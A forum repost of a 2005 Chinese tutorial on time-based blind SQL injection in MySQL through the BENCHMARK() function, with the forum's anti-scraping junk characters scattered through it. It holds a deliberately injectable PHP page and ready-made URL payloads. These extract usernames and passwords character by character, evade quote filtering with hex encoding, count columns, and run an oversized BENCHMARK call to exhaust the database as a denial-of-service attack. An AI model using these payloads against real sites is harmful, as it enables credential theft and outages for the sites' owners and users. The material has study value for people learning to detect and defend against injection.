找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2081|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 4 U) F( H) N+ b3 c5 n7 @6 W
本文作者:SuperHei
6 r9 E- ?: k7 \: s! k8 h1 c文章性质:原创
% D9 g5 O' Z8 H; _$ l' z发布日期:2005-01-023 H8 |: R5 E6 I: _5 t$ b
完成日期:2004-07-09 0 b2 i: ?, l$ a+ N$ G
第一部
; }: I+ P9 Z) e! x) {3 K, N% b) \. l* M+ a
利用时间推延进行注射---BENCHMARK函数在注射中的利用
8 K' y& p" |3 j7 _: J3 d4 Q2 y0 j0 l# C! l: Z/ m: Z. ?
一.前言/思路
, F& |$ I2 v( x, Y# ~  f
9 k# L2 B" _+ L5 }2 c  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; N! c( ]9 `! b( V4 y" O8 c/ ?6 d; v9 M. ?: R' y/ ?$ e* x
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。8 C8 n- K, v, f- A

% A2 E1 h& }# T9 v/ Y# d二.关于BENCHMARK函数& k3 {; U$ p6 \- M0 H) T
0 m9 x; V( Q. `, J7 I4 b
  在MySQL参考手册里可以看到如下描叙:
0 @4 u- @7 t$ l# j( M; i( s/ e# b4 ?. Y! o
& S5 `# w2 G& s6 @
--------------------------------------------------------------------------------1 K$ D1 _# }& [1 }$ j

8 e) I0 U9 D/ U  N7 oBENCHMARK(count,expr)
9 M/ s9 t' Q* B3 p# i- G  u7 U9 vBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 6 ]  i! ^5 n  N7 ], u0 C8 P
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 3 U. B2 x3 c3 l4 y
+----------------------------------------------+ $ m6 z; z, s9 r0 n; V" |& f
| BENCHMARK(1000000,encode("hello","goodbye")) |
6 \9 q. t0 o# Q- ]( ~, d9 n4 P+----------------------------------------------+
' a/ a* w; L5 B: l3 x" v5 E| 0 |
, [( W8 g! q& R4 C. x" |4 q- G+----------------------------------------------+
: t$ N3 C2 Q) o9 [0 m1 row in set (4.74 sec) 7 O3 u9 H8 A% C$ o

: L0 c$ k  ~# _; w: x1 ?, l报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
, N" K( Z& i5 @+ u4 E, K, c  }
. Q/ L- }7 H& k# v2 a5 U7 @8 u: x7 _7 ^& S
--------------------------------------------------------------------------------
! i$ W! L" \8 u) ^- _% ]# V- R# W7 J" U5 o0 q) Q, B
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
3 @- e( W% w  r0 L, s. M9 D) ^! e7 K3 Y9 F1 ?5 Z
mysql> select md5( 'test' ); % O9 f9 F# \! j* a
+----------------------------------+
* q4 x) E# L0 n| md5( 'test' ) | 4 A7 ?! W& x5 |) I4 P9 l6 }! ?
+----------------------------------+
7 _7 U  [0 w: q* C/ f| 098f6bcd4621d373cade4e832627b4f6 |
" |# q# l/ \3 k- X& w+ F+----------------------------------+
6 P  G% B4 T7 @. O7 p: h1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 3 U. Q: z4 i0 q5 T! u' D

) Q  L! }8 F/ s" c' Q. Wmysql> select benchmark( 500000, md5( 'test' ) );
8 ~$ k7 |1 V) @% ~# J+------------------------------------+
: d/ [- T9 q2 y0 W! a5 q| benchmark( 500000, md5( 'test' ) ) |
2 k' O$ O% r, X+ y1 q5 _7 b( B+------------------------------------+ , e% ]. L) j8 u
| 0 | 9 a, k) p0 W* B2 k( U' `3 }5 ?
+------------------------------------+
& b' a+ ?* `  n/ ^. N: ]1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
# V; e' P& r- X$ C$ K3 o1 W. Y2 y$ y ' Q* a& x+ ~* A& u8 X6 }

0 ]3 R6 u+ H& K: i* T  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
3 B5 p+ r+ D" j  q( i, q$ L$ b2 u9 \/ V( y: }- K' I1 F8 S9 ~
三.具体例子
) O9 E" p2 s4 N  F. x+ V9 A% U$ J) l# m: |1 J$ b  U) _1 M6 c
  首先我们看个简单的php代码:0 K; G) ~& g$ A' C/ Y- f8 }
! I% r, h; C, B' S3 X5 B: Q! u+ E
< ?php / o4 [+ s6 o. E( }9 u; o* J8 _
$servername = "localhost";
4 h6 u) r0 e' L/ B% s% C5 E. }2 A$dbusername = "root"; ) Z/ f9 U  Z6 |; `& t
$dbpassword = "";
1 e" [  u4 p: p2 A6 U4 [$dbname = "injection";
2 Y4 o. E! v. O3 ?5 y0 ?* z/ h" x4 S% s0 l& Z# S
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
4 ]( h  p; u( h" A
$ b5 L* _! V9 ]' T& n$ u$sql = "SELECT * FROM article WHERE articleid=$id"; 8 T+ e6 x/ M2 W. F$ a7 G
$result = mysql_db_query($dbname,$sql); 6 C) ^8 i" Y- J8 _( ^3 J) @2 s( J
$row = mysql_fetch_array($result); , g! g8 V, ]/ e: T! H/ k1 }
  Y+ Z: X& b9 k
if (!$row) : g4 v1 z3 z/ N* H
{
* Q5 s. U: {( e/ u' ^* \exit; . m; q  {- E, ~! S! o9 _. {& w
} 4 H9 x, _$ q; o1 z, W: E" M7 c& R
?>
  H- B/ G2 I* C2 i4 u- ^' u 5 [- `4 a9 E( u6 F8 m+ l( F2 M
5 D+ h$ |9 `! C+ @$ X
  数据库injection结构和内容如下:
8 {$ M9 a- g0 F8 `$ \: v- P- @6 c+ x7 N3 T' v# i7 P% ^4 b
# 数据库 : `injection`
% i! D& r9 x: x, O#
9 f& X6 y$ k  p# C3 [& P8 y+ g. d! r  P  v" x; s8 o
# -------------------------------------------------------- 6 {% g, N# |7 D% p9 D: W

; G9 l: W  A) y" A3 u8 S# 2 G. ^6 N2 R, U* A! o: A
# 表的结构 `article` $ f8 M( t2 B: s; |* d- f" c
# / B& v* z, q, F* @+ ^
  c) o  b2 C9 T1 G; ^! b  P9 n
CREATE TABLE `article` (
  e( u% c" H$ B8 X# F' J`articleid` int(11) NOT NULL auto_increment,
1 `8 k* @- H. z( ^( O! ^# B0 w`title` varchar(100) NOT NULL default '',
% h! Z% k, I8 i6 i4 o`content` text NOT NULL,
. i/ W' ~! c: t7 w  F0 k5 P7 HPRIMARY KEY (`articleid`) 0 x3 }( B" q) Y( x. e4 n: ~2 A
) TYPE=MyISAM AUTO_INCREMENT=3 ;
3 i* B) U6 ^( _+ ?$ T, j! ~' F; g3 p4 e& N  I; Q& j
# 4 s" Q. s# j' i/ `, ]: ?* {
# 导出表中的数据 `article`
4 }6 F1 `. O: U#
. B: u/ K, Y, i6 X
% U! n) n7 c- r8 p+ PINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
' p0 N& v% _( c  e# ~) Y2 gINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
2 s1 i, X9 s" F! A+ W8 K( t2 L2 b! [  ^
# --------------------------------------------------------
" I- y" n- R( s" E3 x( V" s* j4 ^) p6 j7 p4 e0 s
# ; c5 ~; k* H8 C: u2 r
# 表的结构 `user`
# M% Y8 L% a& ^#
$ o/ B# c! I$ `3 l- O8 ~
! T' ~: P' F8 P2 \8 d6 w) yCREATE TABLE `user` ( 8 P7 ?; \4 A5 l
`userid` int(11) NOT NULL auto_increment,
3 ^9 O4 ^8 C  b5 ^; L6 S`username` varchar(20) NOT NULL default '', 8 Y( Z( F! n9 i  k# J
`password` varchar(20) NOT NULL default '',
% K( B$ {# l/ `- m% Z' @PRIMARY KEY (`userid`) , E. F2 M9 V# ?! x6 D2 Q$ L/ x
) TYPE=MyISAM AUTO_INCREMENT=3 ; $ m4 [! ^' [& p9 V; e! x5 W& G0 b$ Y
) X, q0 a! k! W6 A. b
#
  w6 y1 q9 o) T* [# 导出表中的数据 `user`
# k+ l. I! V" w; ^% [( B& [5 S1 ~# ) W! b0 U' Q" A! ]$ s0 H2 d

5 c0 X% @4 Y5 v9 d5 `INSERT INTO `user` VALUES (1, 'angel', 'mypass');
1 a  U+ I2 {" I- O) ?/ M1 [INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');/ M) h* v5 l( Z+ |- O" C% @$ v5 g$ t

! e9 |$ H7 U3 i' r( M5 C+ s) o
0 O% e5 ]( S" t* Q, |4 u8 E7 J# X  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:" U5 O% G% \- L! ~
3 x' L8 P5 S* }; O
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*! c; o8 l- ?8 h0 U

4 ]; |  b' ^5 ~* u' Z
0 G, s2 X+ T4 n1 \  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
0 D( [6 m% G: [% @; `4 U% S$ O6 H" h$ [" Q/ N
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
$ A7 {8 }8 m7 g8 s 8 B. ?) o0 r0 A5 }/ e

/ A7 m+ W# v5 c7 m  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 6 Q) U8 p8 G/ G! u

+ o5 H9 W% V% c$ d) L) b, n4 P  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
6 Z% m; L, G2 l; U  I! m) U4 X2 f1 h2 p
第二部
7 J  i( S/ K6 D9 b- ]0 Z: Y; G" |8 C+ T
利用BENCHMARK函数进行ddos攻击
: C2 J6 k. b0 |' m& Y; E3 O7 K: ~5 e: Q5 }
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
2 ]% U8 c* ]& i1 l, Q  O% X2 G. n. J0 c3 P  y: u) z" Z! u( _
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
6 H8 Q# `& U- v  E. Y
: ^% `  S; {& k+ z- n: y# \- }1 N8 e' J6 k5 p7 ~5 x. ^
小结
; _, ]. P6 M& M$ e! d1 ^* a: m
# b% K+ E$ e5 a! l' L9 e  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
; e' {1 k6 F+ d! Z$ b/ F 4 W  O$ H. P0 \' O5 v9 d2 z0 n0 G: x
  
& Z2 t9 V; E/ l* K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表